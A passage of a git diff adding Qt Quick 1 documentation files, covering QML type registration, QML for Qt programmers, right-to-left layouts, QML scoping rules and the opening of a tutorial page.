+ qmlRegisterType<MySliderItem>("com.mycompany.qmlcomponents", 1, 0, "Slider");
+ \endcode
+
+ Once this is registered, the type can be used in QML by importing the
+ specified module name and version number:
+
+ \qml
+ import com.mycompany.qmlcomponents 1.0
+
+ Slider {
+ // ...
+ }
+ \endqml
+
+ Note that it's perfectly reasonable for a library to register types to older versions
+ than the actual version of the library. Indeed, it is normal for the new library to allow
+ QML written to previous versions to continue to work, even if more advanced versions of
+ some of its types are available.
+*/
+
+/*!
+ \fn int qmlRegisterUncreatableType(const char *uri, int versionMajor, int versionMinor, const char *qmlName, const QString& message)
+ \relates QDeclarativeEngine
+
+ This template function registers the C++ type in the QML system with
+ the name \a qmlName, in the library imported from \a uri having the
+ version number composed from \a versionMajor and \a versionMinor.
+
+ While the type has a name and a type, it cannot be created, and the
+ given error \a message will result if creation is attempted.
+
+ This is useful where the type is only intended for providing attached properties or enum values.
+
+ Returns the QML type id.
+
+ #include <QtDeclarative> to use this function.
+
+ \sa qmlRegisterTypeNotAvailable()
+*/
+
+/*!
+ \fn int qmlRegisterTypeNotAvailable(const char *uri, int versionMajor, int versionMinor, const char *qmlName, const QString& message)
+ \relates QDeclarativeEngine
+
+ This function registers a type in the QML system with the name \a qmlName, in the library imported from \a uri having the
+ version number composed from \a versionMajor and \a versionMinor, but any attempt to instantiate the type
+ will produce the given error \a message.
+
+ Normally, the types exported by a module should be fixed. However, if a C++ type is not available, you should
+ at least "reserve" the QML type name, and give the user of your module a meaningful error message.
+
+ Returns the QML type id.
+
+ Example:
+
+ \code
+ #ifdef NO_GAMES_ALLOWED
+ qmlRegisterTypeNotAvailable("MinehuntCore", 0, 1, "Game", "Get back to work, slacker!");
+ #else
+ qmlRegisterType<MinehuntGame>("MinehuntCore", 0, 1, "Game");
+ #endif
+ \endcode
+
+ This will cause any QML which uses this module and attempts to use the type to produce an error message:
+ \code
+ fun.qml: Get back to work, slacker!
+ Game {
+ ^
+ \endcode
+
+ Without this, a generic "Game is not a type" message would be given.
+
+ #include <QtDeclarative> to use this function.
+
+ \sa qmlRegisterUncreatableType()
+*/
+
+/*!
+ \fn int qmlRegisterType()
+ \relates QDeclarativeEngine
+ \overload
+
+ This template function registers the C++ type in the QML
+ system. Instances of this type cannot be created from the QML
+ system.
+
+ #include <QtDeclarative> to use this function.
+
+ Returns the QML type id.
+*/
+
+/*!
+ \fn int qmlRegisterInterface(const char *typeName)
+ \relates QDeclarativeEngine
+
+ This template function registers the C++ type in the QML system
+ under the name \a typeName.
+
+ #include <QtDeclarative> to use this function.
+
+ Returns the QML type id.
+*/
diff --git a/doc/src/qtquick1/qtprogrammers.qdoc b/doc/src/qtquick1/qtprogrammers.qdoc
new file mode 100644
index 0000000000..ef011356b4
--- /dev/null
+++ b/doc/src/qtquick1/qtprogrammers.qdoc
@@ -0,0 +1,155 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:FDL$
+** GNU Free Documentation License
+** Alternatively, this file may be used under the terms of the GNU Free
+** Documentation License version 1.3 as published by the Free Software
+** Foundation and appearing in the file included in the packaging of
+** this file.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms
+** and conditions contained in a signed written agreement between you
+** and Nokia.
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+/*!
+\page qtprogrammers.html
+\target qtprogrammers
+\title QML for Qt Programmers
+
+While QML does not require Qt knowledge to use, if you \e are already familiar with Qt,
+much of your knowledge is directly relevant to learning and using QML. Of course,
+an application with a UI defined in QML also uses Qt for all the non-UI logic.
+
+\section1 Familiar Concepts
+
+QML provides direct access to the following concepts from Qt:
+
+\list
+ \o QAction - the \l {QML Basic Types}{action} type
+ \o QObject signals and slots - available as functions to call in JavaScript
+ \o QObject properties - available as variables in JavaScript
+ \o QWidget - QDeclarativeView is a QML-displaying widget
+ \o Qt models - used directly in data binding (QAbstractItemModel)
+\endlist
+
+Qt knowledge is \e required for \l {Extending QML Functionalities using C++},
+and also for \l{Integrating QML Code with existing Qt UI code}.
+
+\section1 QML Items compared with QWidgets
+
+QML Items are very similar to QWidgets: they define the look and feel of the user interface. (Note that while QWidgets
+haven't traditionally been used to define the look and feel of view delegates, QML Items can be used for this as well.)
+
+There are three structurally different types of QWidget:
+
+\list
+ \o Simple widgets that are not used as parents (QLabel, QCheckBox, QToolButton, etc.)
+ \o Parent widgets that are normally used as parents to other widgets (QGroupBox, QStackedWidget, QTabWidget, etc.)
+ \o Compound widgets that are internally composed of child widgets (QComboBox, QSpinBox, QFileDialog, QTabWidget, etc.)
+\endlist
+
+QML Items also serve these purposes. Each is considered separately below.
+
+\section2 Simple Widgets
+
+The most important rule to remember while implementing a new QDeclarativeItem in C++
+is that it should not contain any look and feel policies - leave that to the
+QML usage of the item.
+
+As an example, imagine you wanted a reusable Button item. If you therefore
+decided to write a QDeclarativeItem subclass to implement a button,
+just as QToolButton subclasses QWidget for this purpose, following the rule above, your
+\c QDeclarativeButton would not have any appearance - just the notions of enabled, triggering, etc.
+
+But there is already an object in Qt that does this: QAction.
+
+QAction is the UI-agnostic essence of QPushButton, QCheckBox, QMenu items, QToolButton,
+and other visual widgets that are commonly bound to a QAction.
+
+So, the job of implementing a checkbox abstraction for QML is already done - it's QAction.
+The look and feel of an action - the appearance of the button, the transition between states,
+and exactly how it respond to mouse, key, or touch input, should all be left for definition
+in QML.
+
+It is illustrative to note that QDeclarativeTextEdit is built upon QTextControl,
+QDeclarativeWebView is built upon QWebPage, and ListView uses QAbstractItemModel,
+just as QTextEdit, QWebView, and QListView are built upon
+those same UI-agnostic components.
+
+The encapsulation of the look and feel that QWidgets gives is important, and for this
+the QML concept of \l {qdeclarativedocuments.html}{components} serves the same purpose. If you are building a complete
+suite of applications which should have a consistent look and feel, you should build
+a set of reusable components with the look and feel you desire.
+
+So, to implement your reusable button, you would simply build a QML component.
+
+
+\section2 Parent Widgets
+
+Parent widgets each provide a generic way to interface to one or more arbitrary other widgets.
+A QTabWidget provides an interface to multiple "pages", one of which is visible at any time,
+and a mechanism for selecting among them (the QTabBar). A QScrollArea provides scrollbars around
+a widget that is otherwise too large to fit in available space.
+
+Nearly all such components can be created directly in QML. Only a few cases
+which require very particular event handling, such as Flickable, require C++ implementations.
+
+As an example, imagine you decided to make a generic tab widget item to be used
+through your application suite wherever information is in such quantity that it
+needs to be divided up into pages.
+
+A significant difference in the parenting concept with QML compare to QWidgets
+is that while child items are positioned relative to their parents,
+there is no requirement that they be wholly contained ("clipped") to
+the parent (although the clipped property of the child Item does allow
+this where it is needed).
+This difference has rather far-reaching consequences, for example:
+
+\list
+ \o A shadow or highlight around a widget could be a child of that widget.
+ \o Particle effects can flow outside the object where they originate.
+ \o Transitioning animations can "hide" items by visibly moving them beyond the screen bounds.
+\endlist
+
+
+\section2 Compound Widgets
+
+Some widgets provide functionality by composing other widgets as an "implementation detail",
+providing a higher level API to the composition. QSpinBox for example is a line edit and some
+buttons to increase/decrease the edited value. QFileDialog uses a whole host of widgets to
+give the user a way of finding and selecting a file name.
+
+When developing reusable QML Items, you may choose to do the same: build an item composed
+of other items you have already defined.
+
+The only caveat when doing this is to consider the possible animations and transitions that
+users of the compound item might wish to employ. For example, a spinbox might need to smoothly
+transition from an arbitrary Text item, or characters within a Text item, so your spinbox
+item would need to be sufficiently flexible to allow such animation.
+
+\section1 QML Items Compared With QGraphicsWidgets
+
+The main difference between QML items and QGraphicsWidgets is how they are intended to be used. The technical implementation details are much the same, but in practice they are different because QML items are made for declarative and compositional use, and QGraphicsWidgets are made for imperative and more integrated use. Both QML items and QGraphicsWidgets inherit from QGraphicsObject, and can co-exist. The differences are in the layouting system and the interfacing with other components. Note that, as QGraphicsWidgets tend more to be all-in-one packages, the equivalent of a QGraphicsWidget may be many QML items composed across several QML files, but it can still be loaded and used as a single QGraphicsObject from C++.
+
+QGraphicsWidgets are usually designed to be laid out with QGraphicsLayouts. QML does not use QGraphicsLayouts, as the Qt layouts do not mix well with animated and fluid UIs, so the geometry interface is one of the main differences. When writing QML elements, you allow the designers to place their bounding rectangle using absolute geometry, bindings or anchors (all setup for you when you inherit QDeclarativeItem) and you do not use layouts or size hints. If size hints are appropriate, then place them in the QML documentation so that the designers know how to use the item best, but still have complete control over the look and feel.
+
+The other main difference is that QGraphicsWidgets tend to follow the widget model, in that they are a self-contained bundle of UI and logic. In contrast, QML primitives are usually a single purpose item that does not fulfill a use case on its own, but is composed into the equivalent of the widget inside the QML file. So when writing QML Items, try to avoid doing UI logic or composing visual elements inside the items. Try instead to write more general purpose primitives, so that the look and feel (which involves the UI logic) can be written in QML.
+
+Both differences are caused by the different method of interaction. QGraphicsWidget is a QGraphicsObject subclass which makes fluid UI development from C++ easier, and QDeclarativeItem is a QGraphicsObject subclass which makes fluid UI development from QML easier. The difference therefore is primarily one of the interface exposed, and the design of the items that come with it (the Declarative primitives for QML and the nothing for QGraphicsWidget, because you need to write your own UI logic into the subclass).
+
+If you wish to use both QML and C++ to write the UI, for example to ease the transition period, it is recommended to use QDeclarativeItem subclasses (although you can use QGraphicsWidgets as well). To allow for easier use from C++ make the root item of each C++ component a LayoutItem, and load individual 'widgets' of QML (possibly comprised of multiple files, and containing a self-contained bundle of UI and logic) into your scene to replace individual QGraphicsWidgets one at a time.
+*/
diff --git a/doc/src/qtquick1/qtquick-intro.qdoc b/doc/src/qtquick1/qtquick-intro.qdoc
new file mode 100644
index 0000000000..bdad2c3047
--- /dev/null
+++ b/doc/src/qtquick1/qtquick-intro.qdoc
@@ -0,0 +1,124 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:FDL$
+** GNU Free Documentation License
+** Alternatively, this file may be used under the terms of the GNU Free
+** Documentation License version 1.3 as published by the Free Software
+** Foundation and appearing in the file included in the packaging of
+** this file.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms
+** and conditions contained in a signed written agreement between you
+** and Nokia.
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+/*!
+\page qml-intro.html
+\title Intro to Qt Quick
+
+Qt Quick is a collection of technologies that are designed to help developers
+create the kind of intuitive, modern, and fluid user interfaces that are
+increasingly used on mobile phones, media players, set-top boxes, and other
+portable devices. Qt Quick consists of a rich set of user interface
+\l{QML Elements}{elements}, a \l{QML Syntax}{declarative} language for
+describing user interfaces, and a language \l{QtDeclarative Module}{runtime}. A
+collection of C++ APIs is used to integrate these high level features with
+classic Qt applications. Version 2.1 of the Qt Creator integrated development
+environment (IDE) introduces tools for developing Qt Quick applications.
+
+\image qml-clocks-example.png
+
+\section1 The QML Language
+
+QML is a high level, scripted language. Its commands, more correctly
+\e elements, leverage the power and efficiency of the Qt libraries to make easy
+to use commands that perform intuitive functions. Drawing a rectangle,
+displaying an image, and application events -- all are possible with declarative
+programming.
+
+The language also allows more flexibility of these commands by using
+\l{About JavaScript}{JavaScript} to implement the high level user interface
+logic.
+
+A QML element usually has various \e properties that help define the element.
+For example, if we created an element called Circle then the radius of the
+circle would be a property. Building user interfaces by importing these elements
+is one of the great feature of QML and Qt Quick.
+\image qml-texteditor5_newfile.png
+
+\section1 QtDeclarative Module
+
+To make Qt Quick possible, Qt introduces the \l {QtDeclarative} module. The
+module creates a JavaScript runtime that QML runs under with a Qt based backend.
+Because QtDeclarative and QML are built upon Qt, they inherit many of Qt's
+technology, namely the \l{Signals and Slots}{signals and slots} mechanism and
+the \l{The Meta-Object System}{meta-object} system. Data created using C++ are
+directly accessible from QML and QML objects are also accessible from C++ code.
+
+In conjunction with the QML language, the QtDeclarative module separates the
+interface logic in QML from the application logic in C++.
+
+\section1 Creator Tools
+
+Qt Creator is a complete integrated development environment (IDE) for creating
+applications with Qt Quick and the Qt application framework.
+
+\image qmldesigner-visual-editor.png
+
+The main goal for Qt Creator is meeting the development needs of Qt Quick
+developers who are looking for simplicity, usability, productivity,
+extendibility and openness, while aiming to lower the barrier of entry for
+newcomers to Qt Quick and Qt. The key features of Qt Creator allow UI designers
+and developers to accomplish the following tasks:
+\list
+\o Get started with Qt Quick application development quickly and easily with
+examples, tutorials, and project wizards.
+\o Design application user interface with the integrated editor, Qt Quick
+Designer, or use graphics software to design the user interface and use scripts
+to export the design to Qt Quick Designer.
+\o Develop applications with the advanced code editor that provides new powerful
+features for completing code snippets, refactoring code, and viewing the element
+hierarchy of QML files.
+\o Build and deploy Qt Quick applications that target multiple desktop and
+mobile platforms, such as Microsoft Windows, Mac OS X, Linux, Symbian, and
+Maemo.
+\o Debug JavaScript functions and execute JavaScript expressions in the current
+context, and inspect QML at runtime to explore the object structure, debug
+animations, and inspect colors.
+\o Deploy applications to mobile devices and create application installation
+packages for Symbian and Maemo devices that can be published in the Ovi Store
+and other channels.
+\o Easily access information with the integrated context-sensitive Qt Help
+system.
+\endlist
+
+\image qtcreator-target-selector.png
+
+\section1 Where to Go from Here
+
+The \l {Qt Quick} page has links to various Qt Quick topics such as QML
+features, addons, and tools.
+
+The \l {QML Examples and Demos} page has a gallery of QML applications.
+
+\section1 License Information
+\list
+\o \l{Qt Quick Licensing Information}
+\endlist
+*/
+
+
+
diff --git a/doc/src/qtquick1/qtquick1.qdoc b/doc/src/qtquick1/qtquick1.qdoc
new file mode 100644
index 0000000000..ee4a4565e8
--- /dev/null
+++ b/doc/src/qtquick1/qtquick1.qdoc
@@ -0,0 +1,37 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:FDL$
+** GNU Free Documentation License
+** Alternatively, this file may be used under the terms of the GNU Free
+** Documentation License version 1.3 as published by the Free Software
+** Foundation and appearing in the file included in the packaging of
+** this file.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms
+** and conditions contained in a signed written agreement between you
+** and Nokia.
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+/*!
+ \qmlmodule QtQuick 1
+ \title QML Module QtQuick 1
+
+ \brief The QML Elements
+
+ This QML module contains all the QML elements that are
+ instantiated as objects of C++ classes in the QtDeclarative
+ module.
+ */
diff --git a/doc/src/qtquick1/righttoleft.qdoc b/doc/src/qtquick1/righttoleft.qdoc
new file mode 100644
index 0000000000..4f62d2c73d
--- /dev/null
+++ b/doc/src/qtquick1/righttoleft.qdoc
@@ -0,0 +1,195 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:FDL$
+** GNU Free Documentation License
+** Alternatively, this file may be used under the terms of the GNU Free
+** Documentation License version 1.3 as published by the Free Software
+** Foundation and appearing in the file included in the packaging of
+** this file.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms
+** and conditions contained in a signed written agreement between you
+** and Nokia.
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+/*!
+\page qml-righttoleft.html
+\title QML Right-to-left User Interfaces
+
+\section1 Overview
+
+This chapter discusses different approaches and options available for implementing right-to-left
+language support for Qt Quick applications. Some common right-to-left languages include Arabic, Hebrew,
+Persian and Urdu. Most changes include making sure that text translated to right-to-left languages
+is properly aligned to the right, and horizontally ordered content in views, lists and grids flows
+correctly from the right to left.
+
+In right-to-left language speaking cultures, people naturally scan and read graphic elements and text
+from the right to left. The general rule of thumb is that content (like photos, videos and maps) is not
+mirrored, but positioning of the content (like application layouts and the flow of visual elements) is
+mirrored. For example, photos shown in chronological order should flow from right to left, the
+low end range of the horizontal sliders should be located at the right side of the slider, and
+text lines should should be aligned to the right side of the available text area. The location of visual
+elements should not be mirrored when the position is related to a content; for example, when a
+position marker is shown to indicate a location on a map. Also, there are some special cases you may
+need to take into account where right-to-left language speakers are used to left-to-right
+positioning, for example when using number dialers in phones and media play, pause, rewind and
+forward buttons in music players.
+
+\section1 Text Alignment
+
+(This applies to the \l Text, \l TextInput and \l TextEdit elements.)
+
+When the horizontal alignment of a text item is not explicitly set, the text element is
+automatically aligned to the natural reading direction of the text. By default left-to-right text
+like English is aligned to the left side of the text area, and right-to-left text like Arabic is
+aligned to the right side of the text area. The alignment of a text element with empty text takes
+its alignment cue from \l QApplication::keyboardInputDirection(), which is based on the active
+system locale.
+
+This default locale-based alignment can be overriden by setting the \c horizontalAlignment
+property for the text element, or by enabling layout mirroring using the \l LayoutMirroring attached
+property, which causes any explicit left and right horizontal alignments to be mirrored.
+Note that when \l LayoutMirroring is set, the \c horizontalAlignment property value remains unchanged;
+the effective alignment of the text element that takes the mirroring into account can be read from the
+\c effectiveHorizontalAlignment property.
+
+\snippet doc/src/snippets/declarative/righttoleft.qml 0
+
+\section1 Layout direction of positioners and views
+
+(This applies to the \l Row, \l Grid, \l Flow, \l ListView and \l GridView elements.)
+
+From Qt Quick 1.1 onwards, elements used for horizontal positioning and model views have gained a \c layoutDirection
+property for controlling the horizontal direction of the layouts. Setting \c layoutDirection to
+\c Qt.RightToLeft causes items to be laid out from the right to left. By default Qt Quick follows
+the left-to-right layout direction.
+
+The horizontal layout direction can also be reversed through the \l LayoutMirroring attached property.
+This causes the effective \c layoutDirection of positioners and views to be mirrored. Note the actual value
+of the \c layoutDirection property will remain unchanged; the effective layout direction of positioners and
+views that takes the mirroring into account can be read from the \c effectiveLayoutDirection property.
+
+\snippet doc/src/snippets/declarative/righttoleft.qml 1
+
+\section1 Layout mirroring
+
+The attached property \l LayoutMirroring is provided as a convenience for easily implementing right-to-left
+support for existing left-to-right Qt Quick applications. It mirrors the behavior of \l {anchor-layout}
+{Item anchors}, the layout direction of \l{Using QML Positioner and Repeater Items}{positioners} and
+model views, and the explicit text alignment of QML text elements.
+
+You can enable layout mirroring for a particular \l Item:
+
+\snippet doc/src/snippets/declarative/righttoleft.qml 2
+
+Or set all child elements to also inherit the layout direction:
+
+\snippet doc/src/snippets/declarative/righttoleft.qml 3
+
+Applying mirroring in this manner does not change the actual value of the relevant anchor,
+\c layoutDirection or \c horizontalAlignment properties. The separate read-only property
+\c effectiveLayoutDirection can be used to query the effective layout
+direction of positioners and model views that takes the mirroring into account. Similarly the \l Text,
+\l TextInput and \l TextEdit elements have gained the read-only property \c effectiveHorizontalAlignment
+for querying the effective visual alignment of text. For anchors, the read only
+\l {Item::anchors.top}{anchors.mirrored} property reflects whether anchors have been mirrored.
+
+Note that application layouts and animations that are defined using \l {Item::}{x} property values (as
+opposed to anchors or positioner elements) are not affected by the \l LayoutMirroring attached property.
+Therefore, adding right-to-left support to these types of layouts may require some code changes to your application,
+especially in views that rely on both the anchors and x coordinate-based positioning. Here is one way to use
+the \l LayoutMirroring attached property to apply mirroring to an item that is positioned using \l {Item::}{x}
+coordinates:
+
+\snippet doc/src/snippets/declarative/righttoleft.qml 4
+
+Not all layouts should necessarily be mirrored. There are cases where a visual element is positioned to
+the right side of the screen for improved one-handed use, because most people are right-handed, and not
+because of the reading direction. In the case that a child element should not be affected by mirroring,
+set the \l {LayoutMirroring::enabled}{LayoutMirroring.enabled} property for that element to false.
+
+Qt Quick is designed for developing animated, fluid user interfaces. When mirroring your application, remember to test that
+the animations and transitions continue to work as expected. If you do not have the resources to add
+right-to-left support for your application, it may be better to just keep the application layouts left
+aligned and just make sure that text is translated and aligned properly.
+
+\section1 Mirroring icons
+
+(This applies to \l Image, \l BorderImage and \l AnimatedImage elements.)
+
+Most images do not need to be mirrored, but some directional icons, such as arrows, may need to be mirrored.
+The painting of these icons can be mirrored with a dedicated \c mirror property introduced in Qt Quick 1.1:
+
+\snippet doc/src/snippets/declarative/righttoleft.qml 5
+
+\section1 Default layout direction
+
+The \l {QML:Qt::application}{Qt.application.layoutDirection} property can be used to query the active layout direction of the
+application. It is based on QApplication::layoutDirection(), which most commonly determines the layout
+direction from the active language translation file.
+
+To define the layout direction for a particular locale, declare the dedicated string literal
+\c QT_LAYOUT_DIRECTION in context \c QApplication as either "LTR" or "RTL".
+
+You can do this by first introducing this line
+
+\code
+QT_TRANSLATE_NOOP("QApplication", "QT_LAYOUT_DIRECTION");
+\endcode
+
+somewhere in your QML source code and calling \c lupdate to generate the translation source file.
+
+\code
+lupdate myapp.qml -ts myapp.ts
+\endcode
+
+This will append the following declaration to the translation file, where you can fill in either "LTR" or
+"RTL" as the translation for the locale.
+
+\code
+<context>
+ <name>QApplication</name>
+ <message>
+ <location filename="myapp.qml" line="33"/>
+ <source>QT_LAYOUT_DIRECTION</source>
+ <translation type="unfinished">RTL</translation>
+ </message>
+</context>
+\endcode
+
+You can test that the layout direction works as expected by running your Qt Quick application with
+the compiled translation file:
+
+\code
+qmlviewer myapp.qml -translation myapp.qm
+\endcode
+
+You can test your application in right-to-left layout direction simply by executing qmlviewer with a
+command-line parameter "-reverse":
+
+\code
+qmlviewer myapp.qml -reverse
+\endcode
+
+The layout direction can also be set from C++ by calling the static function \l QApplication::setLayoutDirection():
+
+\code
+QApplication app(argc, argv);
+app.setLayoutDirection(Qt::RightToLeft);
+\endcode
+
+*/
diff --git a/doc/src/qtquick1/scope.qdoc b/doc/src/qtquick1/scope.qdoc
new file mode 100644
index 0000000000..b601beff05
--- /dev/null
+++ b/doc/src/qtquick1/scope.qdoc
@@ -0,0 +1,304 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:FDL$
+** GNU Free Documentation License
+** Alternatively, this file may be used under the terms of the GNU Free
+** Documentation License version 1.3 as published by the Free Software
+** Foundation and appearing in the file included in the packaging of
+** this file.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms
+** and conditions contained in a signed written agreement between you
+** and Nokia.
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+/*!
+\page qdeclarativescope.html
+\title QML Scope
+
+\tableofcontents
+
+QML property bindings, inline functions and imported JavaScript files all
+run in a JavaScript scope. Scope controls which variables an expression can
+access, and which variable takes precedence when two or more names conflict.
+
+As JavaScript's built-in scope mechanism is very simple, QML enhances it to fit
+more naturally with the QML language extensions.
+
+\section1 JavaScript Scope
+
+QML's scope extensions do not interfere with JavaScript's natural scoping.
+JavaScript programmers can reuse their existing knowledge when programming
+functions, property bindings or imported JavaScript files in QML.
+
+In the following example, the \c {addConstant()} method will add 13 to the
+parameter passed just as the programmer would expect irrespective of the
+value of the QML object's \c a and \c b properties.
+
+\code
+QtObject {
+ property int a: 3
+ property int b: 9
+
+ function addConstant(b) {
+ var a = 13;
+ return b + a;
+ }
+}
+\endcode
+
+That QML respects JavaScript's normal scoping rules even applies in bindings.
+This totally evil, abomination of a binding will assign 12 to the QML object's
+\c a property.
+
+\code
+QtObject {
+ property int a
+
+ a: { var a = 12; a; }
+}
+\endcode
+
+Every JavaScript expression, function or file in QML has its own unique
+variable object. Local variables declared in one will never conflict
+with local variables declared in another.
+
+\section1 Element Names and Imported JavaScript Files
+
+\l {QML Document}s include import statements that define the element names
+and JavaScript files visible to the document. In addition to their use in the
+QML declaration itself, element names are used by JavaScript code when accessing
+\l {Attached Properties} and enumeration values.
+
+The effect of an import applies to every property binding, and JavaScript
+function in the QML document, even those in nested inline components. The
+following example shows a simple QML file that accesses some enumeration
+values and calls an imported JavaScript function.
+
+\code
+import QtQuick 1.0
+import "code.js" as Code
+
+ListView {
+ snapMode: ListView.SnapToItem
+
+ delegate: Component {
+ Text {
+ elide: Text.ElideMiddle
+ text: "A really, really long string that will require eliding."
+ color: Code.defaultColor()
+ }
+ }
+}
+\endcode
+
+\section1 Binding Scope Object
+
+Property bindings are the most common use of JavaScript in QML. Property
+bindings associate the result of a JavaScript expression with a property of an
+object. The object to which the bound property belongs is known as the binding's
+scope object. In this QML simple declaration the \l Item object is the
+binding's scope object.
+
+\code
+Item {
+ anchors.left: parent.left
+}
+\endcode
+
+Bindings have access to the scope object's properties without qualification.
+In the previous example, the binding accesses the \l Item's \c parent property
+directly, without needing any form of object prefix. QML introduces a more
+structured, object-oriented approach to JavaScript, and consequently does not
+require the use of the JavaScript \c this property.
+
+Care must be used when accessing \l {Attached Properties} from bindings due
+to their interaction with the scope object. Conceptually attached properties
+exist on \e all objects, even if they only have an effect on a subset of those.
+Consequently unqualified attached property reads will always resolve to an
+attached property on the scope object, which is not always what the programmer
+intended.
+
+For example, the \l PathView element attaches interpolated value properties to
+its delegates depending on their position in the path. As PathView only
+meaningfully attaches these properties to the root element in the delegate, any
+sub-element that accesses them must explicitly qualify the root object, as shown
+below.
+
+\code
+PathView {
+ delegate: Component {
+ Rectangle {
+ id: root
+ Image {
+ scale: root.PathView.scale
+ }
+ }
+ }
+}
+\endcode
+
+If the \l Image element omitted the \c root prefix, it would inadvertently access
+the unset \c {PathView.scale} attached property on itself.
+
+\section1 Component Scope
+
+Each QML component in a QML document defines a logical scope. Each document
+has at least one root component, but can also have other inline sub-components.
+The component scope is the union of the object ids within the component and the
+component's root element's properties.
+
+\code
+Item {
+ property string title
+
+ Text {
+ id: titleElement
+ text: "<b>" + title + "</b>"
+ font.pixelSize: 22
+ anchors.top: parent.top
+ }
+
+ Text {
+ text: titleElement.text
+ font.pixelSize: 18
+ anchors.bottom: parent.bottom
+ }
+}
+\endcode
+
+The example above shows a simple QML component that displays a rich text title
+string at the top, and a smaller copy of the same text at the bottom. The first
+\c Text element directly accesses the component's \c title property when
+forming the text to display. That the root element's properties are directly
+accessible makes it trivial to distribute data throughout the component.
+
+The second \c Text element uses an id to access the first's text directly. IDs
+are specified explicitly by the QML programmer so they always take precedence
+over other property names (except for those in the \l {JavaScript Scope}). For
+example, in the unlikely event that the binding's \l {Binding Scope Object}{scope
+object} had a \c titleElement property in the previous example, the \c titleElement
+id would still take precedence.
+
+\section1 Component Instance Hierarchy
+
+In QML, component instances connect their component scopes together to form a
+scope hierarchy. Component instances can directly access the component scopes of
+their ancestors.
+
+The easiest way to demonstrate this is with inline sub-components whose component
+scopes are implicitly scoped as children of the outer component.
+
+\code
+Item {
+ property color defaultColor: "blue"
+
+ ListView {
+ delegate: Component {
+ Rectangle {
+ color: defaultColor
+ }
+ }
+ }
+}
+\endcode
+
+The component instance hierarchy allows instances of the delegate component
+to access the \c defaultColor property of the \c Item element. Of course,
+had the delegate component had a property called \c defaultColor that would
+have taken precedence.
+
+The component instance scope hierarchy extends to out-of-line components, too.
+In the following example, the \c TitlePage.qml component creates two
+\c TitleText instances. Even though the \c TitleText element is in a separate
+file, it still has access to the \c title property when it is used from within
+the \c TitlePage. QML is a dynamically scoped language - depending on where it
+is used, the \c title property may resolve differently.
+
+\code
+// TitlePage.qml
+import QtQuick 1.0
+Item {
+ property string title
+
+ TitleText {
+ size: 22
+ anchors.top: parent.top
+ }
+
+ TitleText {
+ size: 18
+ anchors.bottom: parent.bottom
+ }
+}
+
+// TitleText.qml
+import QtQuick 1.0
+Text {
+ property int size
+ text: "<b>" + title + "</b>"
+ font.pixelSize: size
+}
+\endcode
+
+Dynamic scoping is very powerful, but it must be used cautiously to prevent
+the behavior of QML code from becoming difficult to predict. In general it
+should only be used in cases where the two components are already tightly
+coupled in another way. When building reusable components, it is preferable
+to use property interfaces, like this:
+
+\code
+// TitlePage.qml
+import QtQuick 1.0
+Item {
+ id: root
+ property string title
+
+ TitleText {
+ title: root.title
+ size: 22
+ anchors.top: parent.top
+ }
+
+ TitleText {
+ title: root.title
+ size: 18
+ anchors.bottom: parent.bottom
+ }
+}
+
+// TitleText.qml
+import QtQuick 1.0
+Text {
+ property string title
+ property int size
+
+ text: "<b>" + title + "</b>"
+ font.pixelSize: size
+}
+\endcode
+
+\section1 JavaScript Global Object
+
+In addition to all the properties that a developer would normally expect on
+the JavaScript global object, QML adds some custom extensions to make UI or
+QML specific tasks a little easier. These extensions are described in the
+\l {QML Global Object} documentation.
+
+QML disallows element, id and property names that conflict with the properties
+on the global object to prevent any confusion. Programmers can be confident
+that \c Math.min(10, 9) will always work as expected!
+
+*/
diff --git a/doc/src/qtquick1/tutorial.qdoc b/doc/src/qtquick1/tutorial.qdoc
new file mode 100644
index 0000000000..569b9fc834
--- /dev/null
+++ b/doc/src/qtquick1/tutorial.qdoc
@@ -0,0 +1,226 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:FDL$
+** GNU Free Documentation License
+** Alternatively, this file may be used under the terms of the GNU Free
+** Documentation License version 1.3 as published by the Free Software
+** Foundation and appearing in the file included in the packaging of
+** this file.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms
+** and conditions contained in a signed written agreement between you
+** and Nokia.
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+/*!
+\page qml-tutorial.html
+\title QML Tutorial
+\brief An introduction to the basic concepts and features of QML.
+\nextpage QML Tutorial 1 - Basic Types
+
